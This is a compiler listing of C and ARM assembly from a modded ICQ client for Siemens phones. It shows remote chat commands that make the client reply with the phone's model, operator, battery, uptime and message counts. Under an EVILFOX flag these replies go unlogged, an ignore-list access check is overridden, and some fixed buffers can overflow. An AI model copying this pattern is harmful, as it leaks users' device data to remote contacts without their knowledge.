180100EF SWI +280 \ 0000012C 000050E3 CMP R0,#+0 \ 00000130 0400000A BEQ ??CheckComand_7 4527 { 4528 comanda=0; \ 00000134 B88385E5 STR R8,[R5, #+952] 4529 ShowMSG(1,(int)txt+5); \ 00000138 05108BE2 ADD R1,R11,#+5 \ 0000013C 0100A0E3 MOV R0,#+1 \ 00000140 480100EF SWI +328 4530 return; \ 00000144 330100EA B ??CheckComand_4 4531 } 4532 4533 if(strstr(txt,"echochat")) \ ??CheckComand_7: \ 00000148 F61F86E2 ADD R1,R6,#+984 \ 0000014C 0B00A0E1 MOV R0,R11 \ 00000150 180100EF SWI +280 \ 00000154 000050E3 CMP R0,#+0 \ 00000158 1000000A BEQ ??CheckComand_6 4534 { 4535 comanda=0; \ 0000015C B88385E5 STR R8,[R5, #+952] 4536 AddStringToLog(t,0x01,txt+(strlen("echocaht")+1),"Hacker",(++SENDMSGCOUNT)&0x7FFF,0); \ 00000160 6C0295E5 LDR R0,[R5, #+620] \ 00000164 017080E2 ADD R7,R0,#+1 \ 00000168 6C7285E5 STR R7,[R5, #+620] \ 0000016C FB0F86E2 ADD R0,R6,#+1004 \ 00000170 1B0000EF SWI +27 \ 00000174 0010A0E3 MOV R1,#+0 \ 00000178 02002DE9 PUSH {R1} \ 0000017C F93F86E2 ADD R3,R6,#+996 \ 00000180 0B0080E0 ADD R0,R0,R11 \ 00000184 012080E2 ADD R2,R0,#+1 \ 00000188 07100AE0 AND R1,R10,R7 \ 0000018C 02002DE9 PUSH {R1} \ 00000190 0400A0E1 MOV R0,R4 \ 00000194 0110A0E3 MOV R1,#+1 \ 00000198 ........ BL AddStringToLog 4537 return; \ 0000019C EB0100EA B ??CheckComand_8 4538 } 4539 4540 } 4541 4542 //---------------------------------------------------------------// 4543 4544 4545 4546 4547 if(!strcmp(txt, "GET_PLATFORM_INFO") || !strcmp(txt, "__PLATFORM")) \ ??CheckComand_6: \ 000001A0 E51F86E2 ADD R1,R6,#+916 \ 000001A4 0B00A0E1 MOV R0,R11 \ 000001A8 190000EF SWI +25 \ 000001AC 000050E3 CMP R0,#+0 \ 000001B0 0400000A BEQ ??CheckComand_9 \ 000001B4 E21F86E2 ADD R1,R6,#+904 \ 000001B8 0B00A0E1 MOV R0,R11 \ 000001BC 190000EF SWI +25 \ 000001C0 000050E3 CMP R0,#+0 \ 000001C4 2600001A BNE ??CheckComand_10 4548 { 4549 comanda=0; \ ??CheckComand_9: \ 000001C8 B88385E5 STR R8,[R5, #+952] 4550 TPKT *p; 4551 char pl[256]; 4552 sprintf(pl,"%s model:%s",PLATFORM,Get_Phone_Info(PI_MODEL)); \ 000001CC 0900A0E3 MOV R0,#+9 \ 000001D0 D50100EF SWI +469 \ 000001D4 0030A0E1 MOV R3,R0 \ 000001D8 EF2F86E2 ADD R2,R6,#+956 \ 000001DC F31F86E2 ADD R1,R6,#+972 \ 000001E0 1C008DE2 ADD R0,SP,#+28 \ 000001E4 160000EF SWI +22 4553 p=malloc(sizeof(PKT)+strlen(pl)+1); \ 000001E8 1C008DE2 ADD R0,SP,#+28 \ 000001EC 1B0000EF SWI +27 \ 000001F0 090080E2 ADD R0,R0,#+9 \ 000001F4 140000EF SWI +20 \ 000001F8 0080A0E1 MOV R8,R0 4554 p->pkt.uin=t->uin; \ 000001FC 0C0094E5 LDR R0,[R4, #+12] \ 00000200 000088E5 STR R0,[R8, #+0] 4555 p->pkt.type=T_SENDMSG; \ 00000204 B490C8E1 STRH R9,[R8, #+4] 4556 p->pkt.data_len=strlen(pl); \ 00000208 1C008DE2 ADD R0,SP,#+28 \ 0000020C 1B0000EF SWI +27 \ 00000210 B600C8E1 STRH R0,[R8, #+6] 4557 strcpy(p->data,pl); \ 00000214 1C108DE2 ADD R1,SP,#+28 \ 00000218 080088E2 ADD R0,R8,#+8 \ 0000021C 1A0000EF SWI +26 4558 if(show_send_info) \ 00000220 900195E5 LDR R0,[R5, #+400] \ 00000224 000050E3 CMP R0,#+0 \ 00000228 6C0295E5 LDR R0,[R5, #+620] \ 0000022C 010080E2 ADD R0,R0,#+1 \ 00000230 6C0285E5 STR R0,[R5, #+620] \ 00000234 0800000A BEQ ??CheckComand_11 4559 AddStringToLog(t,0x01,"Send platform info",I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 00000238 0110A0E3 MOV R1,#+1 \ 0000023C 02002DE9 PUSH {R1} \ 00000240 00000AE0 AND R0,R10,R0 \ 00000244 01002DE9 PUSH {R0} \ 00000248 103086E2 ADD R3,R6,#+16 \ 0000024C EA2F86E2 ADD R2,R6,#+936 \ 00000250 0400A0E1 MOV R0,R4 \ 00000254 ........ BL AddStringToLog \ 00000258 08D08DE2 ADD SP,SP,#+8 4560 else 4561 SENDMSGCOUNT++; 4562 SUBPROC((void *)SendAnswer,0,p); \ ??CheckComand_11: \ 0000025C 0820A0E1 MOV R2,R8 \ 00000260 97FFFFEA B ??CheckComand_3 4563 return; 4564 } 4565 4566 if(!strcmp(txt, "GET_ONLINE_TIME") || !strcmp(txt, "__ONLINE")) \ ??CheckComand_10: \ 00000264 D31F86E2 ADD R1,R6,#+844 \ 00000268 0B00A0E1 MOV R0,R11 \ 0000026C 190000EF SWI +25 \ 00000270 000050E3 CMP R0,#+0 \ 00000274 0400000A BEQ ??CheckComand_12 \ 00000278 D01F86E2 ADD R1,R6,#+832 \ 0000027C 0B00A0E1 MOV R0,R11 \ 00000280 190000EF SWI +25 \ 00000284 000050E3 CMP R0,#+0 \ 00000288 3000001A BNE ??CheckComand_13 4567 { 4568 comanda=0; \ ??CheckComand_12: \ 0000028C B88385E5 STR R8,[R5, #+952] 4569 TPKT *p; 4570 char online[256]; 4571 sprintf(online,"Время в онлайн: %02d:%02d:%02d \n" 4572 "Сервер: %s", uptimeHour, uptimeMin, uptimeSec, hostbuf2); \ 00000290 4400A0E3 MOV R0,#+68 \ 00000294 940D80E3 ORR R0,R0,#0x2500 \ 00000298 050080E0 ADD R0,R0,R5 \ 0000029C 01002DE9 PUSH {R0} \ 000002A0 A00295E5 LDR R0,[R5, #+672] \ 000002A4 D71F86E2 ADD R1,R6,#+860 \ 000002A8 01002DE9 PUSH {R0} \ 000002AC 9C3295E5 LDR R3,[R5, #+668] \ 000002B0 982295E5 LDR R2,[R5, #+664] \ 000002B4 24008DE2 ADD R0,SP,#+36 \ 000002B8 160000EF SWI +22 4573 p=malloc(sizeof(PKT)+strlen(online)+1); \ 000002BC 24008DE2 ADD R0,SP,#+36 \ 000002C0 1B0000EF SWI +27 \ 000002C4 090080E2 ADD R0,R0,#+9 \ 000002C8 140000EF SWI +20 \ 000002CC 0080A0E1 MOV R8,R0 4574 p->pkt.uin=t->uin; \ 000002D0 0C0094E5 LDR R0,[R4, #+12] \ 000002D4 000088E5 STR R0,[R8, #+0] 4575 p->pkt.type=T_SENDMSG; \ 000002D8 B490C8E1 STRH R9,[R8, #+4] 4576 p->pkt.data_len=strlen(online); \ 000002DC 24008DE2 ADD R0,SP,#+36 \ 000002E0 1B0000EF SWI +27 \ 000002E4 B600C8E1 STRH R0,[R8, #+6] 4577 strcpy(p->data,online); \ 000002E8 24108DE2 ADD R1,SP,#+36 \ 000002EC 080088E2 ADD R0,R8,#+8 \ 000002F0 1A0000EF SWI +26 4578 if(show_send_info) \ 000002F4 900195E5 LDR R0,[R5, #+400] \ 000002F8 08D08DE2 ADD SP,SP,#+8 \ 000002FC 000050E3 CMP R0,#+0 \ 00000300 6C0295E5 LDR R0,[R5, #+620] \ 00000304 010080E2 ADD R0,R0,#+1 \ 00000308 6C0285E5 STR R0,[R5, #+620] \ 0000030C 0A00000A BEQ ??CheckComand_14 4579 AddStringToLog(t,0x01,requests1,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 00000310 0110A0E3 MOV R1,#+1 \ 00000314 02002DE9 PUSH {R1} \ 00000318 00000AE0 AND R0,R10,R0 \ 0000031C 01002DE9 PUSH {R0} \ 00000320 103086E2 ADD R3,R6,#+16 \ 00000324 5000A0E3 MOV R0,#+80 \ 00000328 9C0D80E3 ORR R0,R0,#0x2700 \ 0000032C 052080E0 ADD R2,R0,R5 \ 00000330 0400A0E1 MOV R0,R4 \ 00000334 ........ BL AddStringToLog \ 00000338 08D08DE2 ADD SP,SP,#+8 4580 else 4581 SENDMSGCOUNT++; 4582 SUBPROC((void *)SendAnswer,0,p); \ ??CheckComand_14: \ 0000033C 0820A0E1 MOV R2,R8 \ 00000340 0010A0E3 MOV R1,#+0 \ 00000344 0700A0E1 MOV R0,R7 \ 00000348 710100EF SWI +369 4583 return; \ 0000034C B10000EA B ??CheckComand_4 4584 } 4585 4586 if(!strcmp(txt, "GET_MSG_INFO") || !strcmp(txt, "__MSG")) \ ??CheckComand_13: \ 00000350 C01F86E2 ADD R1,R6,#+768 \ 00000354 0B00A0E1 MOV R0,R11 \ 00000358 190000EF SWI +25 \ 0000035C 000050E3 CMP R0,#+0 \ 00000360 0400000A BEQ ??CheckComand_15 \ 00000364 BE1F86E2 ADD R1,R6,#+760 \ 00000368 0B00A0E1 MOV R0,R11 \ 0000036C 190000EF SWI +25 \ 00000370 000050E3 CMP R0,#+0 \ 00000374 2C00001A BNE ??CheckComand_16 4587 { 4588 comanda=0; \ ??CheckComand_15: \ 00000378 B88385E5 STR R8,[R5, #+952] 4589 TPKT *p; 4590 char *send_txt=malloc(64); \ 0000037C 4000A0E3 MOV R0,#+64 \ 00000380 140000EF SWI +20 \ 00000384 0080A0E1 MOV R8,R0 4591 sprintf(send_txt, "Отправлено сообщений: %d \n" 4592 "Принято сообщений: %d" 4593 , main2_count, main_count); \ 00000388 ........ LDR R0,??DataTable90 ;; main_count \ 0000038C C41F86E2 ADD R1,R6,#+784 \ 00000390 003090E5 LDR R3,[R0, #+0] \ 00000394 ........ LDR R0,??DataTable91 ;; main2_count \ 00000398 002090E5 LDR R2,[R0, #+0] \ 0000039C 0800A0E1 MOV R0,R8 \ 000003A0 160000EF SWI +22 4594 p=malloc(sizeof(PKT)+strlen(send_txt)+1); \ 000003A4 0800A0E1 MOV R0,R8 \ 000003A8 1B0000EF SWI +27 \ 000003AC 090080E2 ADD R0,R0,#+9 \ 000003B0 140000EF SWI +20 \ 000003B4 00B0A0E1 MOV R11,R0 4595 p->pkt.uin=t->uin; \ 000003B8 0C0094E5 LDR R0,[R4, #+12] \ 000003BC 00008BE5 STR R0,[R11, #+0] 4596 p->pkt.type=T_SENDMSG; \ 000003C0 B490CBE1 STRH R9,[R11, #+4] 4597 p->pkt.data_len=strlen(send_txt); \ 000003C4 0800A0E1 MOV R0,R8 \ 000003C8 1B0000EF SWI +27 \ 000003CC B600CBE1 STRH R0,[R11, #+6] 4598 strcpy(p->data,send_txt); \ 000003D0 0810A0E1 MOV R1,R8 \ 000003D4 08008BE2 ADD R0,R11,#+8 \ 000003D8 1A0000EF SWI +26 4599 if(show_send_info) \ 000003DC 900195E5 LDR R0,[R5, #+400] \ 000003E0 000050E3 CMP R0,#+0 \ 000003E4 6C0295E5 LDR R0,[R5, #+620] \ 000003E8 010080E2 ADD R0,R0,#+1 \ 000003EC 6C0285E5 STR R0,[R5, #+620] \ 000003F0 8200000A BEQ ??CheckComand_17 4600 AddStringToLog(t,0x01,requests2,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 000003F4 0110A0E3 MOV R1,#+1 \ 000003F8 02002DE9 PUSH {R1} \ 000003FC 00000AE0 AND R0,R10,R0 \ 00000400 01002DE9 PUSH {R0} \ 00000404 103086E2 ADD R3,R6,#+16 \ 00000408 6800A0E3 MOV R0,#+104 \ 0000040C 9C0D80E3 ORR R0,R0,#0x2700 \ 00000410 052080E0 ADD R2,R0,R5 \ ??CheckComand_18: \ 00000414 0400A0E1 MOV R0,R4 \ 00000418 ........ BL AddStringToLog \ 0000041C 08D08DE2 ADD SP,SP,#+8 4601 else 4602 SENDMSGCOUNT++; 4603 SUBPROC((void *)SendAnswer,0,p); \ ??CheckComand_19: \ 00000420 760000EA B ??CheckComand_17 \ ??CheckComand_0: \ 00000424 23730000 DC8 "#s",+0 \ 00000428 23630000 DC8 "#c",+0 4604 mfree(send_txt); 4605 return; 4606 } 4607 4608 //==========================windes commands begin ===================== 4609 4610 if(!strcmp(txt, "GET_PROVIDER") || !strcmp(txt, "__PROVIDER")) \ ??CheckComand_16: \ 0000042C AF1F86E2 ADD R1,R6,#+700 \ 00000430 0B00A0E1 MOV R0,R11 \ 00000434 190000EF SWI +25 \ 00000438 000050E3 CMP R0,#+0 \ 0000043C 0400000A BEQ ??CheckComand_20 \ 00000440 AC1F86E2 ADD R1,R6,#+688 \ 00000444 0B00A0E1 MOV R0,R11 \ 00000448 190000EF SWI +25 \ 0000044C 000050E3 CMP R0,#+0 \ 00000450 2C00001A BNE ??CheckComand_21 4611 { 4612 comanda=0; \ ??CheckComand_20: \ 00000454 B88385E5 STR R8,[R5, #+952] 4613 TPKT *p; 4614 4615 WSHDR *ws=AllocWS(32); \ 00000458 2000A0E3 MOV R0,#+32 \ 0000045C 250100EF SWI +293 \ 00000460 00B0A0E1 MOV R11,R0 4616 GetProvider(ws,0); \ 00000464 0010A0E3 MOV R1,#+0 \ 00000468 410000EF SWI +65 4617 char prov[16]; 4618 ws_2str(ws,prov,wstrlen(ws)); \ 0000046C 0B00A0E1 MOV R0,R11 \ 00000470 230100EF SWI +291 \ 00000474 0020A0E1 MOV R2,R0 \ 00000478 0C108DE2 ADD R1,SP,#+12 \ 0000047C 0B00A0E1 MOV R0,R11 \ 00000480 A30000EF SWI +163 4619 char *send_txt=malloc(32); \ 00000484 2000A0E3 MOV R0,#+32 \ 00000488 140000EF SWI +20 \ 0000048C 0080A0E1 MOV R8,R0 4620 sprintf(send_txt, "Оператор: %s", prov); \ 00000490 0C208DE2 ADD R2,SP,#+12 \ 00000494 BA1F86E2 ADD R1,R6,#+744 \ 00000498 160000EF SWI +22 4621 FreeWS(ws); \ 0000049C 0B00A0E1 MOV R0,R11 \ 000004A0 290100EF SWI +297 4622 4623 p=malloc(sizeof(PKT)+28+1); \ 000004A4 2500A0E3 MOV R0,#+37 \ 000004A8 140000EF SWI +20 \ 000004AC 00B0A0E1 MOV R11,R0 4624 p->pkt.uin=t->uin; \ 000004B0 0C0094E5 LDR R0,[R4, #+12] \ 000004B4 00008BE5 STR R0,[R11, #+0] 4625 p->pkt.type=T_SENDMSG; \ 000004B8 B490CBE1 STRH R9,[R11, #+4] 4626 p->pkt.data_len=strlen(send_txt); \ 000004BC 0800A0E1 MOV R0,R8 \ 000004C0 1B0000EF SWI +27 \ 000004C4 B600CBE1 STRH R0,[R11, #+6] 4627 strcpy(p->data,send_txt); \ 000004C8 0810A0E1 MOV R1,R8 \ 000004CC 08008BE2 ADD R0,R11,#+8 \ 000004D0 1A0000EF SWI +26 4628 if(show_send_info) \ 000004D4 900195E5 LDR R0,[R5, #+400] \ 000004D8 000050E3 CMP R0,#+0 \ 000004DC 6C0295E5 LDR R0,[R5, #+620] \ 000004E0 010080E2 ADD R0,R0,#+1 \ 000004E4 6C0285E5 STR R0,[R5, #+620] \ 000004E8 4400000A BEQ ??CheckComand_17 4629 AddStringToLog(t,0x01,"Sending provider name...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 000004EC 0110A0E3 MOV R1,#+1 \ 000004F0 02002DE9 PUSH {R1} \ 000004F4 00000AE0 AND R0,R10,R0 \ 000004F8 01002DE9 PUSH {R0} \ 000004FC 103086E2 ADD R3,R6,#+16 \ 00000500 B32F86E2 ADD R2,R6,#+716 \ 00000504 C2FFFFEA B ??CheckComand_18 4630 else 4631 SENDMSGCOUNT++; 4632 SUBPROC((void *)SendAnswer,0,p); 4633 mfree(send_txt); 4634 return; 4635 } 4636 4637 //----------------------------------------------------------------------- 4638 4639 if(!strcmp(txt, "GET_MOD_INFO") || !strcmp(txt, "__MOD")) \ ??CheckComand_21: \ 00000508 A31F86E2 ADD R1,R6,#+652 \ 0000050C 0B00A0E1 MOV R0,R11 \ 00000510 190000EF SWI +25 \ 00000514 000050E3 CMP R0,#+0 \ 00000518 0400000A BEQ ??CheckComand_22 \ 0000051C A11F86E2 ADD R1,R6,#+644 \ 00000520 0B00A0E1 MOV R0,R11 \ 00000524 190000EF SWI +25 \ 00000528 000050E3 CMP R0,#+0 \ 0000052C 3B00001A BNE ??CheckComand_23 4640 { 4641 comanda=0; \ ??CheckComand_22: \ 00000530 B88385E5 STR R8,[R5, #+952] 4642 TPKT *p; 4643 char *send_txt=malloc(256); \ 00000534 400FA0E3 MOV R0,#+256 \ 00000538 140000EF SWI +20 \ 0000053C 0080A0E1 MOV R8,R0 4644 // sprintf(I_UIN, "uin%d", t->uin); 4645 strcpy(I_UIN, t->name); \ 00000540 4400A0E3 MOV R0,#+68 \ 00000544 980D80E3 ORR R0,R0,#0x2600 \ 00000548 05B080E0 ADD R11,R0,R5 \ 0000054C 141084E2 ADD R1,R4,#+20 \ 00000550 0B00A0E1 MOV R0,R11 \ 00000554 1A0000EF SWI +26 4646 if(strstr(ignor_list,I_UIN)==0) \ 00000558 0B10A0E1 MOV R1,R11 \ 0000055C 990E85E2 ADD R0,R5,#+2448 \ 00000560 180100EF SWI +280 \ 00000564 000050E3 CMP R0,#+0 4647 { 4648 strcpy(send_txt, mod_info); \ 00000568 04109D05 LDREQ R1,[SP, #+4] 4649 } 4650 else 4651 strcpy(send_txt, "***Access denied***"); \ 0000056C 0800A0E1 MOV R0,R8 \ 00000570 A71F8612 ADDNE R1,R6,#+668 \ 00000574 1A0000EF SWI +26 4652 4653 strcpy(send_txt, mod_info); \ 00000578 04109DE5 LDR R1,[SP, #+4] \ 0000057C 0800A0E1 MOV R0,R8 \ 00000580 1A0000EF SWI +26 4654 4655 p=malloc(sizeof(PKT)+strlen(send_txt)+1); \ 00000584 0800A0E1 MOV R0,R8 \ 00000588 1B0000EF SWI +27 \ 0000058C 090080E2 ADD R0,R0,#+9 \ 00000590 140000EF SWI +20 \ 00000594 00B0A0E1 MOV R11,R0 4656 p->pkt.uin=t->uin; \ 00000598 0C0094E5 LDR R0,[R4, #+12] \ 0000059C 00008BE5 STR R0,[R11, #+0] 4657 p->pkt.type=T_SENDMSG; \ 000005A0 B490CBE1 STRH R9,[R11, #+4] 4658 p->pkt.data_len=strlen(send_txt); \ 000005A4 0800A0E1 MOV R0,R8 \ 000005A8 1B0000EF SWI +27 \ 000005AC B600CBE1 STRH R0,[R11, #+6] 4659 strcpy(p->data,send_txt); \ 000005B0 0810A0E1 MOV R1,R8 \ 000005B4 08008BE2 ADD R0,R11,#+8 \ 000005B8 1A0000EF SWI +26 4660 #ifdef EVILFOX 4661 SENDMSGCOUNT++; 4662 #else 4663 if(show_send_info) \ 000005BC 900195E5 LDR R0,[R5, #+400] \ 000005C0 000050E3 CMP R0,#+0 \ 000005C4 6C0295E5 LDR R0,[R5, #+620] \ 000005C8 010080E2 ADD R0,R0,#+1 \ 000005CC 6C0285E5 STR R0,[R5, #+620] \ 000005D0 0A00000A BEQ ??CheckComand_17 4664 AddStringToLog(t,0x01,requests4,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 000005D4 0110A0E3 MOV R1,#+1 \ 000005D8 02002DE9 PUSH {R1} \ 000005DC 00000AE0 AND R0,R10,R0 \ 000005E0 01002DE9 PUSH {R0} \ 000005E4 103086E2 ADD R3,R6,#+16 \ 000005E8 9400A0E3 MOV R0,#+148 \ 000005EC 9C0D80E3 ORR R0,R0,#0x2700 \ 000005F0 052080E0 ADD R2,R0,R5 \ ??CheckComand_24: \ 000005F4 0400A0E1 MOV R0,R4 \ 000005F8 ........ BL AddStringToLog \ 000005FC 08D08DE2 ADD SP,SP,#+8 4665 else 4666 SENDMSGCOUNT++; 4667 #endif 4668 SUBPROC((void *)SendAnswer,0,p); \ ??CheckComand_17: \ 00000600 0B20A0E1 MOV R2,R11 \ 00000604 0010A0E3 MOV R1,#+0 \ 00000608 0700A0E1 MOV R0,R7 \ 0000060C 710100EF SWI +369 4669 mfree(send_txt); \ 00000610 0800A0E1 MOV R0,R8 \ 00000614 150000EF SWI +21 4670 return; \ ??CheckComand_4: \ 00000618 47DF8DE2 ADD SP,SP,#+284 \ 0000061C F08FBDE8 POP {R4-R11,PC} 4671 } 4672 4673 if(!strcmp(txt, "GET_BAT_INFO") || !strcmp(txt, "__BAT")) \ ??CheckComand_23: \ 00000620 4C1086E2 ADD R1,R6,#+76 \ 00000624 0B00A0E1 MOV R0,R11 \ 00000628 190000EF SWI +25 \ 0000062C 000050E3 CMP R0,#+0 \ 00000630 0400000A BEQ ??CheckComand_25 \ 00000634 981F86E2 ADD R1,R6,#+608 \ 00000638 0B00A0E1 MOV R0,R11 \ 0000063C 190000EF SWI +25 \ 00000640 000050E3 CMP R0,#+0 \ 00000644 2300001A BNE ??CheckComand_26 4674 { 4675 comanda=0; \ ??CheckComand_25: \ 00000648 B88385E5 STR R8,[R5, #+952] 4676 TPKT *p; 4677 int bat; 4678 bat=*RamCap(); \ 0000064C C88000EF SWI +32968 \ 00000650 B0B0D0E1 LDRH R11,[R0, #+0] 4679 char *send_txt=malloc(64); \ 00000654 4000A0E3 MOV R0,#+64 \ 00000658 140000EF SWI +20 \ 0000065C 0080A0E1 MOV R8,R0 4680 sprintf(send_txt, "Заряд батареи: %d процентов", bat); \ 00000660 0B20A0E1 MOV R2,R11 \ 00000664 9A1F86E2 ADD R1,R6,#+616 \ 00000668 160000EF SWI +22 4681 p=malloc(sizeof(PKT)+28+1); \ 0000066C 2500A0E3 MOV R0,#+37 \ 00000670 140000EF SWI +20 \ 00000674 00B0A0E1 MOV R11,R0 4682 p->pkt.uin=t->uin; \ 00000678 0C0094E5 LDR R0,[R4, #+12] \ 0000067C 00008BE5 STR R0,[R11, #+0] 4683 p->pkt.type=T_SENDMSG; \ 00000680 B490CBE1 STRH R9,[R11, #+4] 4684 p->pkt.data_len=strlen(send_txt); \ 00000684 0800A0E1 MOV R0,R8 \ 00000688 1B0000EF SWI +27 \ 0000068C B600CBE1 STRH R0,[R11, #+6] 4685 strcpy(p->data,send_txt); \ 00000690 0810A0E1 MOV R1,R8 \ 00000694 08008BE2 ADD R0,R11,#+8 \ 00000698 1A0000EF SWI +26 4686 #ifdef EVILFOX 4687 SENDMSGCOUNT++; 4688 #else 4689 if(show_send_info) \ 0000069C 900195E5 LDR R0,[R5, #+400] \ 000006A0 000050E3 CMP R0,#+0 \ 000006A4 6C0295E5 LDR R0,[R5, #+620] \ 000006A8 010080E2 ADD R0,R0,#+1 \ 000006AC 6C0285E5 STR R0,[R5, #+620] \ 000006B0 D2FFFF0A BEQ ??CheckComand_17 4690 AddStringToLog(t,0x01,requests3,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 000006B4 0110A0E3 MOV R1,#+1 \ 000006B8 02002DE9 PUSH {R1} \ 000006BC 00000AE0 AND R0,R10,R0 \ 000006C0 01002DE9 PUSH {R0} \ 000006C4 103086E2 ADD R3,R6,#+16 \ 000006C8 7C00A0E3 MOV R0,#+124 \ 000006CC 9C0D80E3 ORR R0,R0,#0x2700 \ 000006D0 052080E0 ADD R2,R0,R5 \ 000006D4 4EFFFFEA B ??CheckComand_18 4691 else 4692 SENDMSGCOUNT++; 4693 #endif 4694 SUBPROC((void *)SendAnswer,0,p); 4695 mfree(send_txt); 4696 return; 4697 } 4698 4699 if(away_m==1 || t->isautomsg) \ ??CheckComand_26: \ 000006D8 840295E5 LDR R0,[R5, #+644] \ 000006DC 010050E3 CMP R0,#+1 \ 000006E0 0300000A BEQ ??CheckComand_27 \ 000006E4 640094E5 LDR R0,[R4, #+100] \ 000006E8 000050E3 CMP R0,#+0 \ 000006EC 3B00000A BEQ ??CheckComand_28 4700 { 4701 comanda=1; \ 000006F0 0100A0E3 MOV R0,#+1 \ ??CheckComand_27: \ 000006F4 B80385E5 STR R0,[R5, #+952] 4702 TPKT *p; 4703 // sprintf(hah,"online: %02d:%02d:%02d", uptimeHour, uptimeMin, uptimeSec); 4704 sprintf(away_msg, "Автоответчик: %s %s! %s %s", awayHelloMsg, t->name, awayMsg, away_msg_time); \ 000006F8 DC10A0E3 MOV R1,#+220 \ 000006FC 801D81E3 ORR R1,R1,#0x2000 \ 00000700 051081E0 ADD R1,R1,R5 \ 00000704 04108DE5 STR R1,[SP, #+4] \ 00000708 E400A0E3 MOV R0,#+228 \ 0000070C 840D80E3 ORR R0,R0,#0x2100 \ 00000710 050080E0 ADD R0,R0,R5 \ 00000714 01002DE9 PUSH {R0} \ 00000718 143084E2 ADD R3,R4,#+20 \ 0000071C 911F86E2 ADD R1,R6,#+580 \ 00000720 0800A0E3 MOV R0,#+8 \ 00000724 400E80E3 ORR R0,R0,#0x400 \ 00000728 050080E0 ADD R0,R0,R5 \ 0000072C 01002DE9 PUSH {R0} \ 00000730 7800A0E3 MOV R0,#+120 \ 00000734 900E80E3 ORR R0,R0,#0x900 \ 00000738 052080E0 ADD R2,R0,R5 \ 0000073C 0C009DE5 LDR R0,[SP, #+12] \ 00000740 160000EF SWI +22 4705 p=malloc(sizeof(PKT)+strlen(away_msg)+1); \ 00000744 0C009DE5 LDR R0,[SP, #+12] \ 00000748 1B0000EF SWI +27 \ 0000074C 090080E2 ADD R0,R0,#+9 \ 00000750 140000EF SWI +20 \ 00000754 10008DE5 STR R0,[SP, #+16] 4706 p->pkt.uin=t->uin; \ 00000758 0C1094E5 LDR R1,[R4, #+12] \ 0000075C 001080E5 STR R1,[R0, #+0] 4707 p->pkt.type=T_SENDMSG; \ 00000760 10009DE5 LDR R0,[SP, #+16] \ 00000764 B490C0E1 STRH R9,[R0, #+4] 4708 p->pkt.data_len=strlen(away_msg); \ 00000768 0C009DE5 LDR R0,[SP, #+12] \ 0000076C 1B0000EF SWI +27 \ 00000770 10109DE5 LDR R1,[SP, #+16] \ 00000774 B600C1E1 STRH R0,[R1, #+6] 4709 strcpy(p->data,away_msg); \ 00000778 10009DE5 LDR R0,[SP, #+16] \ 0000077C 0C109DE5 LDR R1,[SP, #+12] \ 00000780 080080E2 ADD R0,R0,#+8 \ 00000784 1A0000EF SWI +26 4710 if(show_send_info) \ 00000788 900195E5 LDR R0,[R5, #+400] \ 0000078C 08D08DE2 ADD SP,SP,#+8 \ 00000790 000050E3 CMP R0,#+0 \ 00000794 6C0295E5 LDR R0,[R5, #+620] \ 00000798 010080E2 ADD R0,R0,#+1 \ 0000079C 6C0285E5 STR R0,[R5, #+620] \ 000007A0 0A00000A BEQ ??CheckComand_29 4711 AddStringToLog(t,0x01,requests6,I_str,(++SENDMSGCOUNT)&0x7FFF,1); \ 000007A4 0110A0E3 MOV R1,#+1 \ 000007A8 02002DE9 PUSH {R1} \ 000007AC 00000AE0 AND R0,R10,R0 \ 000007B0 01002DE9 PUSH {R0} \ 000007B4 103086E2 ADD R3,R6,#+16 \ 000007B8 A800A0E3 MOV R0,#+168 \ 000007BC 9C0D80E3 ORR R0,R0,#0x2700 \ 000007C0 052080E0 ADD R2,R0,R5 \ 000007C4 0400A0E1 MOV R0,R4 \ 000007C8 ........ BL AddStringToLog \ 000007CC 08D08DE2 ADD SP,SP,#+8 4712 else 4713 SENDMSGCOUNT++; 4714 SUBPROC((void *)SendAnswer,0,p); \ ??CheckComand_29: \ 000007D0 08209DE5 LDR R2,[SP, #+8] \ 000007D4 0010A0E3 MOV R1,#+0 \ 000007D8 0700A0E1 MOV R0,R7 \ 000007DC 710100EF SWI +369 4715 } 4716 4717 4718 //---------------------------------------------------------------------------// 4719 4720 4721 if(!strcmp(txt, "GET_URL_INFO") || !strcmp(txt, "__URL"))// by kluchnik 26.03.08 \ ??CheckComand_28: \ 000007E0 6C1086E2 ADD R1,R6,#+108 \ 000007E4 0B00A0E1 MOV R0,R11 \ 000007E8 190000EF SWI +25 \ 000007EC 000050E3 CMP R0,#+0 \ 000007F0 0400000A BEQ ??CheckComand_30 \ 000007F4 641086E2 ADD R1,R6,#+100 \ 000007F8 0B00A0E1 MOV R0,R11 \ 000007FC 190000EF SWI +25 \ 00000800 000050E3 CMP R0,#+0 \ 00000804 2600001A BNE ??CheckComand_31 4722 { 4723 comanda=0; \ ??CheckComand_30: \ 00000808 B88385E5 STR R8,[R5, #+952] 4724 TPKT *p; 4725 4726 char *send_txt=malloc(786); \ 0000080C C40F89E3 ORR R0,R9,#0x310 \ 00000810 140000EF SWI +20 \ 00000814 0080A0E1 MOV R8,R0 4727 sprintf(send_txt,"revision 2058, mod date: %s at %s ", 4728 "http://windes.narod.ru/files/naticq_mod2058s.zip (sgold) (40kb)\n" 4729 "http://windes.narod.ru/files/naticq_mod2058n.zip (NewSGold) (40kb)\n" 4730 "http://windes.narod.ru/files/naticq_mod2058e.zip (elka) (40kb)\n" 4731 "files: http://windes.narod.ru/files/naticqmod_allfiles_w.zip (432kb)\n" 4732 "Status on iconbar http://windes.narod.ru/files/img16x16.zip (74kb)\n" 4733 "Так же все будет тут http://kluchnik.jino-net.ru/naticqmod/",__DATE__,__TIME__); \ 00000818 440E86E2 ADD R0,R6,#+1088 \ 0000081C 01002DE9 PUSH {R0} \ 00000820 902086E2 ADD R2,R6,#+144 \ 00000824 881F86E2 ADD R1,R6,#+544 \ 00000828 4C00A0E3 MOV R0,#+76 \ 0000082C 400E80E3 ORR R0,R0,#0x400 \ 00000830 063080E0 ADD R3,R0,R6 \ 00000834 0800A0E1 MOV R0,R8 \ 00000838 160000EF SWI +22 4734 4735 p=malloc(sizeof(PKT)+786); \ 0000083C C60F89E3 ORR R0,R9,#0x318 \ 00000840 140000EF SWI +20 \ 00000844 00B0A0E1 MOV R11,R0 4736 p->pkt.uin=t->uin; \ 00000848 0C0094E5 LDR R0,[R4, #+12] \ 0000084C 00008BE5 STR 